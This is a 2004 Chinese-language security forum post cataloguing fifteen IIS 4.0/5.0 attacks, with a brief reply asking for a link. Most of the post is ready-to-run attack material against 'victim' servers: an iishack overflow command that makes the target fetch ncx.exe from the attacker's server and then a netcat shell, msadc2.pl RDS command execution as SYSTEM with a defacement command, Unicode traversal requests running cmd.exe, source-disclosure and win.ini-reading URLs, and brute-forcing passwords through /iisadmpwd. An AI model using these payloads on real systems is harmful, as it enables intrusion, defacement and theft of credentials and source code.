|
![]() | 作者: BrideX [bridex]
![]() |
登录 |
1. iishack缓冲溢出 主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求 没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 在系统中下载和执行程序。 要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器。 你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应 的目录下,然后使用iishack.exe来检查目标机器: c:\>iishack.exe <victim> 80 <your web server>/ncx.exe 然后你就使用netcat来连接你要检测的服务器: c:\>nc <victim> 80 如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。 利用程序见iishack目录下的工具包 2.msadc IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行 你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下, 它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行, 其一般默认情况下是SYSTEM用户。 利用程序为msadc2.pl,我们看看它的help [quack@chat quack]$ perl msadc2.pl -h -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Usage: msadc.pl -h <host> { -d <delay> -X -v } -h <host> = host you want to scan (ip or domain) -d <seconds> = delay between calls, default 1 second -X = dump Index Server path table, if available -N = query VbBusObj for NetBIOS name -V = use VbBusObj instead of ActiveDataFactory -v = verbose -e = external dictionary file for step 5 -u <\\host\share\file> = use UNC file -w = Windows 95 instead of Windows NT -c = v1 compatibility (three step query) -s <number> = run only step <number> Or a -R will resume a (v2) command session [quack@chat quack]$ perl msadc2.pl -h www.targe.com -- RDS smack v2 - rain forest puppy / ADM / wiretrip -- Type the command line you want to run (cmd /c assumed): cmd /c 如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm 3.Codebrws.asp 察看文件源代码 http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/iisamples/exair/howitworks/codebrws.asp 4.Showcode.asp 察看文件源代码 http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/win.ini 5.Null.htw 察看文件源代码 http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20CiRestriction=none%20&%20&CiHiliteType=full 6.webhits.dll & .htw hit-highligting功能是由Index Server提供的允许一个WEB用户在 文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过 变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序 来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递 给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他 脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目: http://www.victim.com/nosuchfile.htw 如果你从服务器端获得如下信息: format of the QUERY_STRING is invalid 这就表示你存在这个漏洞。 这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消 这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw 文件,一般会发现如下的程序: /iissamples/issamples/oop/qfullhit.htw /iissamples/issamples/oop/qsumrhit.htw /isssamples/exair/search/qfullhit.htw /isssamples/exair/search/qsumrhit.htw /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用) 一个攻击者可以使用如下的方法来访问系统中文件的内容: http://www.victim.com/iissamples/issamples/oop/qfullhit.htw? ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full 就会在有此漏洞系统中win.ini文件的内容。 7.ASP Alternate Data Streams(::$DATA) 要查看一些.asp文件的内容,你可以请求如下的URL: http://www.victim.com/default.asp::$DATA你就得到了源代码 8.ASP Dot Bug 在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。 http://www.victim.com/sample.asp. 9.ISM.DLL 这个漏洞是由Cerberus Information Security team.最早发现的,它运行 在IIS4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS, 会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL 程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送 一个截断开的 .Htr 并会有一些时间去返回一些你要打开的文件内容. 除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经 发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作.CNNS发现追加+号到没有一次攻击这个问题,可以进行 多次攻击。 http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr 10. .idc & .ida Bugs 这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息, 很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果 此.idc不存在,它就返回一些信息给客户端。 http://www.victim.com/anything.idc 或者 anything.idq 11.+.htr Bug 对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露: http://www.victim.com/global.asa+.htr 12.NT Site Server Adsamples 通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 可能获得一些如数据库中的DSN,UID和PASS的一些信息,如: http://www.victim.com/adsamples/config/site.csc 13./iisadmpwd IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户 帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB 来修改用户的帐号和密码。这个目录物理映射在下面的目录下: c:\winnt\system32\inetsrv\iisadmpwd Achg.htr Aexp.htr Aexp2.htr Aexp2b.htr Aexp3.htr Aexp4.htr Aexp4b.htr Anot.htr Anot3.htr 这样,攻击者可以通过暴力来猜测你的密码。 14.Translate:f Bug 泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中, 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0 上也有这个漏洞。 利用程序: trasn1.pl,trans2.pl 15.Unicode IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在 一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时, 如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。 http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini 可能需要察看以下几个目录 GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\ HTTP/1.0\r\n\r\n eeye开发了工具包iishack1.5针对这一漏洞进行测试 |
地主 发表时间: 04-06-22 19:49 |
![]() | 回复: cooke [cnpowers] ![]() |
登录 |
转载东西的话,直接给个连接就好了,不用全篇给出 |
B1层 发表时间: 04-06-23 08:18 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号